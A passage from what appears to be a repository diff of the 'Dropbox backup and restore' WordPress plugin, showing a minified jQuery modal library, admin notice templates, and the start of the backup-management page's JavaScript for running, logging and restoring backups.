+ a);a.trigger("afterLoadingOnShow");c.afterLoadingOnShow(c,a,b)},error:function(){a.trigger("errorLoading");c.errorLoading(c,a);void 0==l?(c.body.html(c.errors.tpl),d(".arcticmodal-error",c.body).html(c.errors.ajax_unsuccessful_load),d(".arcticmodal-close",c.body).click(function(){a.arcticmodal("close");return!1}),c.errors.autoclose_delay&&setTimeout(function(){a.arcticmodal("close")},c.errors.autoclose_delay)):l(c,a)}},c.ajax);c.ajax_request=d.ajax(n);a.data("arcticmodal",c)}},init:function(a){a=
17
+ d.extend(!0,{},g,a);if(d.isFunction(this))if(void 0==a)d.error("jquery.arcticmodal: Uncorrect parameters");else if(""==a.type)d.error('jquery.arcticmodal: Don\'t set parameter "type"');else switch(a.type){case "html":if(""==a.content){d.error('jquery.arcticmodal: Don\'t set parameter "content"');break}var b=a.content;a.content="";return f.init_el(d(b),a);case "ajax":if(""==a.url){d.error('jquery.arcticmodal: Don\'t set parameter "url"');break}return f.init_el(d("<div />"),a)}else return this.each(function(){f.init_el(d(this),
18
+ d.extend(!0,{},a))})}},h={show:function(){var a=f.getParentEl(this);if(!1===a)d.error("jquery.arcticmodal: Uncorrect call");else{var b=a.data("arcticmodal");b.overlay.block.hide();b.container.block.hide();d("BODY").append(b.overlay.block);d("BODY").append(b.container.block);b.beforeOpen(b,a);a.trigger("beforeOpen");if("hidden"!=b.wrap.css("overflow")){b.wrap.data("arcticmodalOverflow",b.wrap.css("overflow"));var c=b.wrap.outerWidth(!0);b.wrap.css("overflow","hidden");var g=b.wrap.outerWidth(!0);g!=
19
+ c&&b.wrap.css("marginRight",g-c+"px")}e.not(a).each(function(){d(this).data("arcticmodal").overlay.block.hide()});f.transition(b.overlay.block,"show",1<e.length?{type:"none"}:b.openEffect);f.transition(b.container.block,"show",1<e.length?{type:"none"}:b.openEffect,function(){b.afterOpen(b,a);a.trigger("afterOpen")});return a}},close:function(){if(d.isFunction(this))e.each(function(){d(this).arcticmodal("close")});else return this.each(function(){var a=f.getParentEl(this);if(!1===a)d.error("jquery.arcticmodal: Uncorrect call");
20
+ else{var b=a.data("arcticmodal");!1!==b.beforeClose(b,a)&&(a.trigger("beforeClose"),e.not(a).last().each(function(){d(this).data("arcticmodal").overlay.block.show()}),f.transition(b.overlay.block,"hide",1<e.length?{type:"none"}:b.closeEffect),f.transition(b.container.block,"hide",1<e.length?{type:"none"}:b.closeEffect,function(){b.afterClose(b,a);a.trigger("afterClose");b.clone||d("#arcticmodalReserve"+b.modalID).replaceWith(b.body.find(">*"));b.overlay.block.remove();b.container.block.remove();a.data("arcticmodal",
21
+ null);d(".arcticmodal-container").length||(b.wrap.data("arcticmodalOverflow")&&b.wrap.css("overflow",b.wrap.data("arcticmodalOverflow")),b.wrap.css("marginRight",0))}),"ajax"==b.type&&b.ajax_request.abort(),e=e.not(a))}})},setDefault:function(a){d.extend(!0,g,a)}};d(function(){g.wrap=d(document.all&&!document.querySelector?"html":"body")});d(document).bind("keyup.arcticmodal",function(a){var b=e.last();b.length&&b.data("arcticmodal").closeOnEsc&&27===a.keyCode&&b.arcticmodal("close")});d.arcticmodal=
22
+ d.fn.arcticmodal=function(a){if(h[a])return h[a].apply(this,Array.prototype.slice.call(arguments,1));if("object"===typeof a||!a)return f.init.apply(this,arguments);d.error("jquery.arcticmodal: Method "+a+" does not exist")}})(jQuery);
template/not-ok.png ADDED
Binary file
template/notice.php ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
1
+ <div class="clear"></div>
2
+ <div class="update-nag" style="width: 95%;">
3
+ <?php _e('Professional version of','dropbox-backup'); ?>
4
+ "<a href="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox"); ?>" title="<?php _e('Dropbox backup and restore"','dropbox-backup')?>" alt="<?php _e('Dropbox backup and restore','dropbox-backup')?>"><?php _e('Dropbox backup and restore','dropbox-backup')?></a>"
5
+ <?php _e(' plugin is now available!','dropbox-backup'); ?>
6
+ <a href="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox"); ?>" title="<?php _e('Read more...','dropbox-backup')?>" alt="<?php _e('Read more...','dropbox-backup')?>"><?php _e('Read more...','dropbox-backup')?></a>
7
+ <a href="<?php echo admin_url( 'admin-post.php?action=hide_notice&type=preview' ); ?>" style="float: right; font-size: 12px;">[<?php _e('hide this message','dropbox-backup')?>]</a>
8
+ </div>
template/notice5.php ADDED
@@ -0,0 +1,11 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ <div class="clear"></div>
2
+ <div class="updated notice" style="width: 95%;">
3
+ <p>
4
+ <?php echo str_replace("%s", $time, __('You use Dropbox backup and restore plugin successfully for more than %s. Please, leave a 5 star review for our development team, because it inspires us to develop this plugin for you.','dropbox-backup')) ; ?><br />
5
+ <?php _e('Thank you!','dropbox-backup')?>
6
+ <br />
7
+ <a href="https://wordpress.org/support/view/plugin-reviews/dropbox-backup?filter=5" ><?php _e('Leave review','dropbox-backup'); ?></a><br />
8
+ <a href="<?php echo admin_url( 'admin-post.php?action=hide_notice&type=star' );?>"><?php _e('I already left a review','dropbox-backup'); ?></a><br />
9
+ <a href="<?php echo admin_url( 'admin-post.php?action=hide_notice&type=star&hide=' . $hide );?>"><?php _e('Hide this message','dropbox-backup'); ?></a><br />
10
+ </p>
11
+ </div>
template/ok-icon.png ADDED
Binary file
template/ok.png ADDED
Binary file
template/wpadm_show_backup.php ADDED
@@ -0,0 +1,1451 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <div class="wrap">
2
+ <script src="<?php echo plugin_dir_url(__FILE__) . 'js/jquery.arcticmodal-0.3.min.js'?>" type="text/javascript"></script>
3
+ <link rel='stylesheet' href='<?php echo plugin_dir_url(__FILE__) . 'js/jquery.arcticmodal-0.3.css'?>' type='text/css' media='all' />
4
+ <style>
5
+ .pointer {
6
+ cursor: pointer;
7
+ }
8
+ </style>
9
+ <script>
10
+
11
+ function disable_buttons()
12
+ {
13
+ jQuery('.disable-button').each(function() {
14
+ jQuery(this).prop('disabled', true);
15
+ jQuery(this).html('<?php _e('Backup in progress...', 'dropbox-backup')?>' );
16
+ });
17
+ }
18
+
19
+ function enable_buttons()
20
+ {
21
+ jQuery('.disable-button').each(function() {
22
+ jQuery(this).prop('disabled', false);
23
+ jQuery(this).html(jQuery(this).attr('text-button'));
24
+ });
25
+ }
26
+ jQuery(document).ready(function() {
27
+ enable_buttons();
28
+ jQuery('.disable-button').click(function() {
29
+ disable_buttons();
30
+ })
31
+ })
32
+ var home_url = '<?php echo SITE_HOME; ?>';
33
+ var type_backup = '';
34
+ function blickForm(id, t)
35
+ {
36
+ if(t.checked == true) {
37
+ t.checked = false;
38
+ }
39
+ l = jQuery('#' + id).length;
40
+ showRegistInfo(false);
41
+ if (l > 0) {
42
+ blick(id);
43
+ }
44
+ }
45
+ function showRegistInfo(show)
46
+ {
47
+ display = jQuery('#cf_activate').css('display');
48
+ if (display == 'none') {
49
+ jQuery('#cf_activate').show('slow');
50
+ jQuery('#registr-show').html("<?php _e('Hide','dropbox-backup'); ?>");
51
+ jQuery('#title-regisr').css("padding" , "0px 0px");
52
+ jQuery('#registr-choice-icon').removeClass("dashicons-arrow-down").addClass('dashicons-arrow-up');
53
+ } else {
54
+ if (show) {
55
+ jQuery('#cf_activate').hide('slow');
56
+ jQuery('#registr-show').html("<?php _e('Show','dropbox-backup'); ?>");
57
+ jQuery('#title-regisr').css("padding" , "20px 0px");
58
+ jQuery('#registr-choice-icon').removeClass("dashicons-arrow-up").addClass('dashicons-arrow-down');
59
+ }
60
+ }
61
+ }
62
+ function showSetting(show)
63
+ {
64
+ display = jQuery('#setting_active').css('display');
65
+ if (display == 'none') {
66
+ jQuery('#setting_active').show(1000);
67
+ jQuery('#setting-show').html("<?php _e('Hide','dropbox-backup'); ?>");
68
+ jQuery('#title-setting').css("padding" , "0px 0px");
69
+ jQuery('#setting-choice-icon').removeClass("dashicons-arrow-down").addClass('dashicons-arrow-up');
70
+ } else {
71
+ if (show) {
72
+ jQuery('#setting_active').hide('slow');
73
+ jQuery('#setting-show').html("<?php _e('Show','dropbox-backup'); ?>");
74
+ jQuery('#title-setting').css("padding" , "20px 0px");
75
+ jQuery('#setting-choice-icon').removeClass("dashicons-arrow-up").addClass('dashicons-arrow-down');
76
+ }
77
+ }
78
+ }
79
+ var process_flag = 0;
80
+ function start_local_backup()
81
+ {
82
+ d = new Date();
83
+ var data_backup = {
84
+ 'action': 'wpadm_local_backup',
85
+ 'time': Math.ceil( (d.getTime() + (-d.getTimezoneOffset() * 60000 ) ) / 1000 )
86
+ };
87
+ jQuery("#logs-form").show("slow");
88
+ jQuery("#action-buttons").css('margin-top', '8px');
89
+ <?php if(!$stars5) { ?>
90
+ jQuery("#support-button").css('margin-top', '132px');
91
+ <?php } else { ?>
92
+ jQuery("#support-button").css('margin-top', '8px');
93
+ <?php } ?>
94
+ jQuery("#log-backup").html('');
95
+ jQuery(".title-logs").css('display', 'block');
96
+ jQuery(".title-status").css('display', 'none');
97
+ type_backup = 'local_backup';
98
+ jQuery.ajax({
99
+ type: "POST",
100
+ url: ajaxurl,
101
+ data: data_backup,
102
+ success: function(data){
103
+ if (data.result != 'work') {
104
+ process_flag = 0;
105
+ showData(data);
106
+ }
107
+ process_flag = 1
108
+ processBar(type_backup);
109
+ showTime();
110
+
111
+ },
112
+ error: function(jqXHR, textStatus, errorThrown){
113
+ processStop();
114
+ AjaxAlert(jqXHR, textStatus, errorThrown);
115
+ },
116
+ dataType: 'json'
117
+ });
118
+ }
119
+ function AjaxAlert(jqXHR, textStatus, errorThrown)
120
+ {
121
+ <?php $command_running = get_transient('running_command');
122
+ if (isset($is_runnig) && $is_runnig && $command_running) {
123
+ echo 'var running_command = true;';
124
+ } else {
125
+ echo 'var running_command = false;';
126
+ }
127
+ ?>
128
+ if (running_command === false ) {
129
+ var msg = 'Website "' + home_url + '" returned an error during operation with return:<br /><br /> <span style="font-size:13px; font-style: italic;">code: ' + jqXHR.status + ', text status: ' + textStatus + ', text: ' + errorThrown + "</span>";
130
+ jQuery("#ajax-message").html(msg);
131
+ jQuery("#msg_ajax").val(msg);
132
+ jQuery('#ajax-alert').arcticmodal({
133
+ beforeOpen: function(data, el) {
134
+ jQuery('#ajax-alert').css('display','block');
135
+ },
136
+ afterClose: function(data, el) {
137
+ jQuery('#ajax-alert').css('display','none');
138
+ }
139
+ });
140
+ enable_buttons();
141
+ }
142
+ }
143
+
144
+ function stopBackup()
145
+ {
146
+
147
+ var data_backup = {
148
+ 'action': 'stop_backup',
149
+ 'type-backup': type_backup,
150
+ };
151
+ jQuery.ajax({
152
+ type: "POST",
153
+ url: ajaxurl,
154
+ data: data_backup,
155
+ dataType: 'json',
156
+ success: function(data){
157
+
158
+ },
159
+ error: function(jqXHR, textStatus, errorThrown) {
160
+ processStop();
161
+ AjaxAlert(jqXHR, textStatus, errorThrown);
162
+ },
163
+ });
164
+
165
+ }
166
+
167
+ var auth_param = <?php echo isset($dropbox_options['app_key']) && isset($dropbox_options['app_secret']) && isset($dropbox_options['uid']) && $dropbox_options['uid'] != '' ? 'false' : 'true' ?>;
168
+ function start_dropbox_backup(t)
169
+ {
170
+ if (auth_param === false) {
171
+ d = new Date();
172
+ process_flag = 0;
173
+
174
+ var data_backup = {
175
+ 'action': 'wpadm_dropbox_create',
176
+ 'time': Math.ceil( (d.getTime() + (-d.getTimezoneOffset() * 60000 ) ) / 1000 ),
177
+ };
178
+ jQuery("#logs-form").show("slow");
179
+ jQuery("#action-buttons").css('margin-top', '8px');
180
+
181
+ <?php if(!$stars5) { ?>
182
+ jQuery("#support-button").css('margin-top', '132px');
183
+ <?php } else { ?>
184
+ jQuery("#support-button").css('margin-top', '8px');
185
+ <?php } ?>
186
+ jQuery("#log-backup").html('');
187
+ jQuery(".title-logs").css('display', 'block');
188
+ jQuery(".title-status").css('display', 'none');
189
+ type_backup = 'send-to-dropbox';
190
+ jQuery.ajax({
191
+ type: "POST",
192
+ url: ajaxurl,
193
+ data: data_backup,
194
+ success: function(data){
195
+ if (data.result !== 'work') {
196
+ process_flag = 0;
197
+ if (data.result == 'success') {
198
+ jQuery('.title-logs').css('display', 'none');
199
+ jQuery('.title-status').css({'display':'block', 'color':'green'});
200
+ jQuery('.title-status').html('<?php _e('Dropbox Backup was created successfully','dropbox-backup'); ?>');
201
+ } else {
202
+ jQuery('.title-logs').css('display', 'none');
203
+ jQuery('.title-status').css({'display':'block', 'color':'red'});
204
+ jQuery('.title-status').html("<?php _e('Dropbox Backup wasn\'t created. ','dropbox-backup'); ?>" + data.error);
205
+ }
206
+ showData(data);
207
+ jQuery('.table').css('display', 'table');
208
+ }
209
+ process_flag = 1
210
+ processBar('send-to-dropbox');
211
+ showTime();
212
+
213
+ },
214
+ error: function(jqXHR, textStatus, errorThrown) {
215
+ processStop();
216
+ AjaxAlert(jqXHR, textStatus, errorThrown);
217
+ },
218
+ dataType: 'json'
219
+ });
220
+ } else {
221
+ jQuery('#is-dropbox-auth').arcticmodal({
222
+ beforeOpen: function(data, el) {
223
+ jQuery('#is-dropbox-auth').css('display','block');
224
+
225
+ },
226
+ afterClose: function(data, el) {
227
+ jQuery('#is-dropbox-auth').css('display','none');
228
+ showSetting(false);
229
+ blick('app_key', 4);
230
+ blick('app_secret', 4);
231
+ }
232
+ });
233
+ }
234
+ }
235
+ function showData(data)
236
+ {
237
+ <?php $command_running = get_transient('running_command');
238
+ if (isset($is_runnig) && $is_runnig && $command_running) {
239
+ echo 'var command_running = true;';
240
+ } else {
241
+ echo 'var command_running = false;';
242
+ }
243
+ ?>
244
+
245
+ jQuery('.table').css('display', 'table');
246
+ if (type_backup == 'local_backup') {
247
+ if (data.result == 'success') {
248
+ jQuery('.title-logs').css('display', 'none');
249
+ jQuery('.title-status').css({'display':'block', 'color':'green'});
250
+ jQuery('.title-status').html('<?php _e('Local Backup was created successfully','dropbox-backup'); ?>');
251
+ } else {
252
+ jQuery('.title-logs').css('display', 'none');
253
+ jQuery('.title-status').css({'display':'block', 'color':'red'});
254
+ jQuery('.title-status').html("<?php _e('Local Backup wasn\'t created','dropbox-backup'); ?>");
255
+ }
256
+ } else {
257
+ if (data.result == 'success') {
258
+ jQuery('.title-logs').css('display', 'none');
259
+ jQuery('.title-status').css({'display':'block', 'color':'green'});
260
+ jQuery('.title-status').html('<?php _e('Dropbox Backup was created successfully','dropbox-backup'); ?>');
261
+ <?php echo 'var is_reload= ' . ($dropbox_options['is_local_backup_delete'] && $dropbox_options['is_local_backup_delete'] == 1 ? 'true' : 'false') . ';'?>
262
+ if (is_reload) {
263
+ location.reload();
264
+ }
265
+ } else {
266
+ jQuery('.title-logs').css('display', 'none');
267
+ jQuery('.title-status').css({'display':'block', 'color':'red'});
268
+ jQuery('.title-status').html("<?php _e('Dropbox Backup wasn\'t created. ','dropbox-backup'); ?>" + data.error);
269
+ }
270
+ }
271
+ if (command_running === false) {
272
+ enable_buttons()
273
+ size_backup = data.size / 1024 / 1024;
274
+ if (data.size != 0 || data.result != 'error') {
275
+ var img_table =
276
+ '<img src="<?php echo plugin_dir_url(__FILE__) . "ok.png" ;?>" title="Successful" alt="Successful" style="float: left; width: 20px; height: 20px;margin-left: 21px;" />' +
277
+ '<div style="margin-top :1px;float: left;"><?php _e('Successful','dropbox-backup');?></div>';
278
+ name_backup = data.name;
279
+ } else {
280
+ var img_table =
281
+ '<img src="<?php echo plugin_dir_url(__FILE__) . "not-ok.png" ;?>" title="fail" alt="fail" style="float: left; width: 20px; height: 20px;margin-left: 21px;" />' +
282
+ '<div style="margin-top :1px;float: left;"><?php _e('Fail','dropbox-backup');?>&nbsp;&nbsp;(<a style="text-decoration:underline;"><?php _e('Show Details','dropbox-backup');?></a>)</div>';
283
+ name_backup = '<?php _e('Not available','dropbox-backup');?>';
284
+ }
285
+ info = "";
286
+ if (data.data) {
287
+ for(i = 0; i < data.data.length; i++) {
288
+ e = data.data[i].split('/');
289
+ info += '<tr style="border: 0;">' +
290
+ '<td style="border: 0;padding: 0px;"><a href="<?php echo content_url(DROPBOX_BACKUP_DIR_NAME) . '/'; ?>' + data.name + '/' + e[e.length - 1] + '">' + e[e.length - 1] + '</td>' +
291
+ '</tr>' ;
292
+ }
293
+
294
+ co = jQuery('.number-backup').length + 1;
295
+ jQuery('.table > tbody:last').after(
296
+ '<tr>'+
297
+ '<td class="number-backup" onclick="shows(\'' + data.md5_data + '\', this)">' +
298
+ co +
299
+ '</td>' +
300
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)" style="text-align: left; padding-left: 7px;" >' +
301
+ data.time +
302
+ '</td>' +
303
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
304
+ name_backup +
305
+ '</td>' +
306
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\',this)">' +
307
+ data.counts +
308
+ '</td>' +
309
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
310
+ img_table +
311
+ '</td>' +
312
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
313
+ data.type + ' <?php _e('backup','dropbox-backup')?>' +
314
+ '</td>' +
315
+ '<td class="pointer" onclick="shows(\'' + data.md5_data + '\', this)">' +
316
+ size_backup.toFixed(2) + "<?php _e('Mb','dropbox-backup')?>" +
317
+ '</td>' +
318
+ '<td>' +
319
+ '<a href="javascript:void(0)" class="button-wpadm" title="<?php _e('Restore','dropbox-backup')?>" onclick="show_recovery_form(\'' + data.type + '\', \'' + data.name + '\')"><span class="pointer dashicons dashicons-backup"></span><?php _e('Restore','dropbox-backup')?></a> &nbsp;' +
320
+ '<a href="javascript:void(0)" class="button-wpadm" title="<?php _e('Delete','dropbox-backup')?>" onclick="delete_backup(\'' + data.name + '\', \'' + data.type + '\')"><span class="pointer dashicons dashicons-trash"></span><?php _e('Delete','dropbox-backup')?></a> &nbsp;' +
321
+ '</td>' +
322
+ '</tr>'+
323
+ '<tr id="' + data.md5_data + '" style="display: none;">'+
324
+ '<td colspan="2">' +
325
+ '</td>' +
326
+ '<td align="center" style="padding: 0px; width: 350px;">' +
327
+ '<div style="overflow: auto; max-height: 150px;">' +
328
+ '<table border="0" align="center" style="width: 100%;" class="info-path">' +
329
+ info +
330
+ '</table>' +
331
+ '</div>' +
332
+ '</td>' +
333
+ '<td colspan="6"></td>' +
334
+ '</tr>')
335
+ }
336
+ } else {
337
+ if (data.result == 'success') {
338
+ location.reload();
339
+ }
340
+ }
341
+ }
342
+ var logs = [];
343
+ function processBar(method)
344
+ {
345
+ if (method == 'undefined') {
346
+ method = type_backup;
347
+ }
348
+ var data_log = {
349
+ 'action': 'wpadm_logs',
350
+ 'type-backup' : method,
351
+ };
352
+ jQuery.ajax({
353
+ type: "POST",
354
+ url: ajaxurl,
355
+ data: data_log,
356
+ success: function(response){
357
+ eval("var data=" + response);
358
+ for(s in data.log) {
359
+ if (jQuery.inArray(s , logs) == -1) {
360
+ l = jQuery("#log-backup").html();
361
+ l = "<div>" + data.log[s] + "</div>" + l;
362
+ jQuery("#log-backup").html(l);
363
+ }
364
+ }
365
+ if (process_flag == 1) {
366
+ if (data.data) {
367
+ showData(data.data);
368
+ processStop();
369
+ } else {
370
+ setTimeout('processBar("' + method + '")', 5000);
371
+ }
372
+ }
373
+ },
374
+ error: function(jqXHR, textStatus, errorThrown){
375
+ processStop();
376
+ AjaxAlert(jqXHR, textStatus, errorThrown);
377
+ },
378
+ });
379
+ }
380
+
381
+ function showTime(t)
382
+ {
383
+
384
+ if (process_flag == 1) {
385
+ if ( (typeof t) == 'undefined') {
386
+ t = 1;
387
+ } else {
388
+ t = t + 1;
389
+ }
390
+ time = t + " <?php _e('sec.','dropbox-backup'); ?>";
391
+ jQuery("#time_backup").html(time);
392
+ setTimeout(function() { showTime(t) }, 1000);
393
+ }
394
+ }
395
+ function processStop()
396
+ {
397
+ process_flag = 0;
398
+ }
399
+ function delete_backup(backup, type)
400
+ {
401
+ document.delete_backups.backup_name.value = backup;
402
+ document.delete_backups.backup_type.value = type;
403
+ document.delete_backups.submit();
404
+ }
405
+ function create_backup (type) {
406
+ if (type == 'auth') {
407
+ document.form_auth_backup_create.submit();
408
+ }
409
+ }
410
+ function show_recovery_form(type, name)
411
+ {
412
+ var act = '';
413
+ if (confirm("<?php _e('Are you sure you want to start the recovery process?','dropbox-backup')?>")) {
414
+ if (type == 'local') {
415
+ act = 'wpadm_local_restore';
416
+ } else {
417
+ act = 'wpadm_restore_dropbox';
418
+ }
419
+ var data_backup = {
420
+ 'action': act,
421
+ 'name': name,
422
+ };
423
+ jQuery("#log-backup").html('');
424
+ jQuery("#action-buttons").css('margin-top', '8px');
425
+ <?php if(!$stars5) { ?>
426
+ jQuery("#support-button").css('margin-top', '132px');
427
+ <?php } else { ?>
428
+ jQuery("#support-button").css('margin-top', '8px');
429
+ <?php } ?>
430
+ jQuery(".title-logs").css('display', 'block');
431
+ jQuery(".title-status").css('display', 'none');
432
+ jQuery("#logs-form").show("slow");
433
+ jQuery("#action-buttons").css('margin-top', '8px');
434
+ jQuery.ajax({
435
+ type: "POST",
436
+ url: ajaxurl,
437
+ data: data_backup,
438
+ beforeSend: function(){
439
+ process_flag = 1
440
+ processBar();
441
+ showTime();
442
+
443
+ },
444
+ success: function(data){
445
+ process_flag = 0;
446
+ if (data.result == 'success') {
447
+ jQuery('.title-logs').css('display', 'none');
448
+ jQuery('.title-status').css({'display':'block', 'color':'green'});
449
+ if (type == 'local') {
450
+ str = '<?php _e('Local Backup (%s) was restored successfully','dropbox-backup'); ?>';
451
+ str = str.replace('%s', name);
452
+ jQuery('.title-status').html(str);
453
+ } else {
454
+ str = '<?php _e('Dropbox Backup (%s) was restored successfully','dropbox-backup'); ?>';
455
+ str = str.replace('%s', name);
456
+ jQuery('.title-status').html(str);
457
+ }
458
+ } else {
459
+ jQuery('.title-logs').css('display', 'none');
460
+ jQuery('.title-status').css({'display':'block', 'color':'red'});
461
+ if (type == 'local') {
462
+ str = "<?php _e('Local Backup (%s) wasn\'t restored','dropbox-backup'); ?>";
463
+ str = str.replace("%s", name) ;
464
+ jQuery('.title-status').html(str);
465
+ } else {
466
+ str = "<?php _e('Dropbox Backup (%s) wasn\'t restored','dropbox-backup'); ?>";
467
+ str = str.replace('%s', name);
468
+ jQuery('.title-status').html(str);
469
+ }
470
+ }
471
+ },
472
+ error: function(jqXHR, textStatus, errorThrown) {
473
+ processStop();
474
+ AjaxAlert(jqXHR, textStatus, errorThrown);
475
+ },
476
+ dataType: 'json'
477
+ });
478
+ }
479
+
480
+ }
481
+ function auth_form(t)
482
+ {
483
+ var button = jQuery(t);
484
+ var form = button.closest('form');
485
+ var data = {};
486
+
487
+ var reg = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,6})+$/;
488
+ mail = document.auth.username.value;
489
+ send = false;
490
+ if (!reg.test(mail)) {
491
+ document.auth.username.style.border = "2px solid red";
492
+ } else {
493
+ document.auth.username.style.border = "1px solid #5b9dd9";
494
+ if(document.auth.password.value.length == 0) {
495
+ document.auth.password.style.border = "2px solid red";
496
+ } else {
497
+ send = true;
498
+ document.auth.password.style.border = "1px solid #5b9dd9";
499
+ }
500
+ }
501
+ if(send) {
502
+ form.find('#message-form').css('display', 'none');
503
+ data['password'] = document.auth.password.value;
504
+ data['username'] = document.auth.username.value;
505
+ data['plugin'] = document.auth.plugin.value;
506
+ backup = jQuery("#name_backup_restore").val();
507
+ jQuery.ajax({
508
+ url: form.attr('action'),
509
+ data: data,
510
+ type: 'POST',
511
+ dataType: 'json',
512
+ success: function(data_res) {
513
+ if( !data_res){
514
+ alert('error');
515
+ } else if(data_res.error) {
516
+ if(form.find('#message-form').length) {
517
+ form.find('#message-form').html("");
518
+ form.find('#message-form').css('display', 'block');
519
+ form.find('#message-form').css('margin', '0');
520
+ form.find('#message-form').css('margin-top', '6px');
521
+ form.find('#message-form').html(data_res.error);
522
+ }
523
+ } else if(data_res.url) {
524
+
525
